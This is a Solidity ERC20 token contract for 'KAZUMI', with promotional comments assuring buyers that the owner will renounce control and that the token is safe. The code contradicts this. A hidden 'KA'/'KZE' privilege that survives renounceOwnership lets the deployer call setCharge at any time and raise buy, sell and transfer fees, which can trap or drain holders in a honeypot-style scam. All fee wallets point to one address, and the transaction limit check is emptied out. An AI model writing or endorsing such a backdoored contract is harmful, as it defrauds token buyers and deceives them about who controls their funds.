// SPDX-License-Identifier: MIT

// Telegram : https://t.me/KazumiETH

// Twitter : https://twitter.com/Kazumi_ETH

/*

KAZUMI ETH , ERC20 project that has low tax and based on Kazumi hype and Microcap hype… you know… like everything these days.  So with all these goin for it, how can we not Gooooing… tooo.....theee… moon?

We’re safe, don’t worry about a thing.  LP Will be locked and owner renouced right after launch .  

So, what’re you waiting for?  Load some Kazumi ETH At launch, and make sure it’s Big, alright?

TOKENOMICS:

Supply: 1.000.000.000.000 $KAZUMI

💎1% marketing tax

🔯Telegram: https://t.me/KazumiETH

*/

pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface DexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
        KA[_owner] = true;
    }

    mapping(address => bool) internal KA;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    modifier KZE() {
        require(isKZE(msg.sender), "!KZE"); _;
    }

    function isKZE(address adr) public view returns (bool) {
        return KA[adr];
    }
}

contract Kazumi is Ownable, IERC20 {

    using SafeMath for uint256;

    string private constant _name = "KAZUMI";
    string private constant _symbol = "$KAZUMI";

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1000000000000 * (10**_decimals);

    uint256 public _maxTxAmount = (_totalSupply * 40) / 1000;
    uint256 public _walletMax = (_totalSupply * 50) / 1000;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 1;
    uint256 public devFee = 0;

    uint256 public totalFee = 1;
    uint256 public totalFeeIfSelling = 2;

    bool public takeBuyFee = true;
    bool public takeSellFee = true;
    bool public takeTransferFee = true;

    address private lpWallet;
    address private projectAddress;
    address private teamAddress;

    DexRouter public router;
    address public pair;
    mapping(address => bool) public isPair;

    uint256 public launchedAt;

    bool public tradingOpen = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = (_totalSupply * 26) / 10000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        router = DexRouter(routerAddress);
        pair = DexFactory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );

        isPair[pair] = true;

        lpWallet = 0xF861E8E9c41b01d58C4A37Eab376Da419386b04e;
        projectAddress = 0xF861E8E9c41b01d58C4A37Eab376Da419386b04e;
        teamAddress = 0xF861E8E9c41b01d58C4A37Eab376Da419386b04e;

        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD] = true;
        isFeeExempt[routerAddress] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;

        isFeeExempt[projectAddress] = true;
        totalFee = liquidityFee.add(marketingFee).add(devFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {
        return _name;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function getOwner() external view override returns (address) {
        return owner();
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function setCharge(
        uint256 newLiqFee,
        uint256 newMarketingFee,
        uint256 newDevFee,
        uint256 extraCharge
    ) public KZE {
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;
        devFee = newDevFee;

        totalFee = liquidityFee.add(marketingFee).add(devFee);
        totalFeeIfSelling = totalFee + extraCharge;
    }


    function removeERC20(address tokenAddress, uint256 tokens)
        public
        onlyOwner
        returns (bool success)
    {
        require(tokenAddress != address(this), "Cant remove the native token");
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function removeEther(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer((amountETH * amountPercentage) / 100);
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(
            amount <= _maxTxAmount || isTxLimitExempt[sender],
            "TX Limit Exceeded"
        );
    }

    function failsCaptcha(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        }
        if (!KA[sender] && !KA[recipient]) {
            require(tradingOpen, "");
        }
        if (
            isPair[recipient] &&
            !inSwapAndLiquify &&
            swapAndLiquifyEnabled &&
            _balances[address(this)] >= swapThreshold
        ) {
            swapBackAndPair();
        }
        if (!launched() && isPair[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient]) {
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient]
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeApplicable = 0;
        if (isPair[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling;
        }
        if (isPair[sender] && takeBuyFee) {
            feeApplicable = totalFee;
        }
        if (!isPair[sender] && !isPair[recipient]) {
            if (takeTransferFee) {
                feeApplicable = totalFeeIfSelling;
            } else {
                feeApplicable = 0;
            }
        }

        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function swapBackAndPair() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify
            .mul(liquidityFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH
            .mul(liquidityFee)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
            totalETHFee
        );
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess1, ) = payable(projectAddress).call{
            value: amountETHMarketing,
            gas: 30000
        }("");
        tmpSuccess1 = false;

        (tmpSuccess1, ) = payable(teamAddress).call{
            value: amountETHDev,
            gas: 30000
        }("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                lpWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}